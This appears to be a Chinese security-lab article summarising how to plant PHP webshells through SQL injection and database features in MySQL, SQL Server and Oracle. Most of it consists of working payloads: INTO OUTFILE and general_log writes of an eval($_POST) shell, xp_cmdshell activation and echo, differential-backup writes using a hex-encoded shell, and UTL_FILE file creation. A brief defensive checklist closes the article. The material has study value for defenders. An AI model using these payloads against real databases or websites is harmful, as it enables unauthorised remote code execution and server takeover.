美创安全实验室 | 三大数据库写入WebShell的姿势总结
字数 937 2025-08-15 21:31:40
三大数据库写入WebShell的技术总结
一、MySQL写入WebShell技术
1. 必备条件
- 数据库当前用户为ROOT或拥有FILE权限
- 知道网站目录的绝对路径
- PHP的GPC参数为off状态
- MySQL中的secure_file_priv参数不能为NULL状态
2. 写入方法
(1) Outfile方法
-
当secure_file_priv参数不为NULL时可用
-
基本语法:
UNION SELECT "WebShell代码" INTO OUTFILE "Web目录路径" -
不使用UNION的替代方法:
?id=1 INTO OUTFILE '物理路径' lines terminated by (WebShell代码)# ?id=1 INTO OUTFILE '物理路径' fields terminated by (WebShell代码)# ?id=1 INTO OUTFILE '物理路径' columns terminated by (WebShell代码)# ?id=1 INTO OUTFILE '物理路径' lines starting by (WebShell代码)#
(2) 基于日志写入法
- 当secure_file_priv为NULL时的替代方法
- 操作步骤:
- 设置日志文件路径:
SET global general_log = 'on'; SET global general_log_file = 'Web目录路径'; - 执行WebShell代码查询:
SELECT "<?php eval($_POST['pass']);?>";
- 设置日志文件路径:
3. 实验步骤
(1) 准备工作
- 检查secure_file_priv设置:
SHOW VARIABLES LIKE '%secure%'; - 检查用户权限:
SELECT user,file_priv FROM mysql.user;
(2) 确认注入点
- 测试SQL注入漏洞
- 获取数据库版本和用户信息:
?id=1' UNION SELECT version(),user() #
(3) 使用outfile写入
- 示例payload:
1' UNION SELECT 1,"<?php eval($_POST['pass']);?>" INTO OUTFILE "F:\\PhpStudy20180211\\PHPTutorial\\WWW\\Tp.php" #
(4) 使用日志方法写入
- 开启日志并设置路径:
SET global general_log = on; SET global general_log_file = 'F:/test.php'; - 执行WebShell代码:
SELECT '<?php phpinfo();?>';
二、SQL Server写入WebShell技术
1. 必备条件
- 具有db_owner权限
- 知道Web目录的绝对路径
2. 写入方法
(1) 使用xp_cmdshell
-
启用xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; -
查找Web目录:
EXEC master..xp_dirtree 'c:\';或
EXEC master..xp_cmdshell 'for /r c:\ %i in (1*.php) do @echo %i' -
写入WebShell:
1';EXEC master..xp_cmdshell 'echo ^<?php eval($_POST["pass"]);?^> > F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
(2) 差异备份法
- 备份数据库:
id=1';BACKUP DATABASE 库名 TO DISK = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak'; - 创建表并插入WebShell:
id=1'; CREATE TABLE cybk([cmd] [image]); id=1'; INSERT INTO cybk(cmd) VALUES(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E); - 差异备份:
id=1'; BACKUP DATABASE library TO DISK='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITH DIFFERENTIAL,FORMAT;
(3) 日志备份法
- 设置完整恢复模式
- 创建表并插入WebShell
- 备份日志到Web目录
三、Oracle写入WebShell技术
1. 必备条件
- 具有DBA权限
- 知道Web目录的绝对路径
2. 写入方法
使用文件访问包方法
- 创建目录对象:
CREATE OR REPLACE DIRECTORY IST0_DIR AS '/home/oracle'; - 授权:
GRANT read, write ON DIRECTORY IST0_DIR TO system; - 写入文件:
DECLARE fhandle UTL_FILE.FILE_TYPE; BEGIN fhandle := UTL_FILE.FOPEN('IST0_DIR', 'test.php', 'w'); UTL_FILE.PUT_LINE(fhandle, '<?php eval($_POST["pass"]);?>'); UTL_FILE.FCLOSE(fhandle); END;
四、防御措施
-
MySQL防御:
- 设置secure_file_priv为NULL
- 限制FILE权限
- 关闭general_log
-
SQL Server防御:
- 禁用xp_cmdshell
- 限制备份目录
- 最小化权限分配
-
Oracle防御:
- 限制UTL_FILE包的使用
- 严格控制目录对象权限
- 最小化DBA权限分配
-
通用防御:
- 使用参数化查询防止SQL注入
- Web目录设置严格权限
- 定期审计数据库配置和权限